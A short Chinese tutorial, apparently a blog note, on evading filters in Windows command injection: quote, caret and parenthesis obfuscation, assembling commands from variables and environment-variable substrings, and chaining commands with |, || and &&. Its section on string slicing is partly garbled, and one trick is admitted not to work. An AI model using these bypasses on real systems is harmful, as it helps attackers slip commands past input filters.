常见Windows命令执行漏洞绕过过滤的小技巧
一、符号与命令的关系
在cmd命令中,我们可以使用"、^和()不会影响命令的执行,而且在Windows中命令不会区分大小写。
1.whoami
2.w”h”o”a”m”i
3.wh^o^ami
4.((whoami))

这里我们可以同时加多个",但是不能同时使用多个^^,因为在cmd中^是转义符,跟在他后面的符号会被转义的,所以执行的话会报错。

二、set命令和Windows变量
(1)首先set命令可以用来设置一个变量,%相当于引用一个变量(使用%括起来的变量,会引用其变量内的值)
1.set a=1
2.echo a
3.echo %a%

我们还可以设置多个变量来绕过过滤
1.set a = who
2.set b = ami
%a%%b%

set a=ser&& set b=ne&& set c=t u && call %b%%c%%a%
//在变量中设置空格,最后调用执行命令

似乎翻车了,但是可以记一下,应该还是有作用的。
我们这里还可以自定义一个或多个环境变量,利用环境变量中的字符,提取并拼接出想要的cmd命令。如:cmd /c "set a=ipconfig && call echo %a%"

我们还可以定义多个环境变量:cmd /c "set a=ser&& set b=ne&& set c=t u&&call echo %b%%c%%a%"

三、Windows切割字符串
Windows中的cmd命令行是存在类似于PHP中的切割字符串的语法。
set a=whoami
1.%a:0% # 这里表示的是取a中所有字符,也就是whoami0,6% # 取出a的值,从第0个开始取,取6个值,也是whoami
2.%a:
3.%a:~0,5% # 取五个值,是whoam

所以在cmd中截取字符串的语法就是这样的:%变量名:~x,y%,表示的就是从第x个元素开始取,取y个字符
然后在Windows中有许多自带的环境变量,然后我们可以截取获得一些有用的东西:
当空格被过滤的时候,我们可以使用net%CommonProgramFiles:~10,1%user

注:CommonProgramFiles=C:\Program Files\Common Files
当环境变量中没有我们想要的内容,我们还可以自己进行设置:
set BL=a bcde/$@\";fgphvlrequst?# 设置这个我们就可以构成一个shell了
四、逻辑运算符在绕过中的作用
|在cmd中,可以连接命令,并且只会执行后面的那条命令

但是我们使用||的话,只有前面的命令执行失败,才会执行后面的语句
使用ipconfig || whoami

使用ping xxx. || whoami

然后&,前面的命令可以成功也可以失败,都会执行后面的命令

然后&&符号就必须两条命令都为真才会执行
使用whoami && ipconfig

使用ping xxx. && whoami
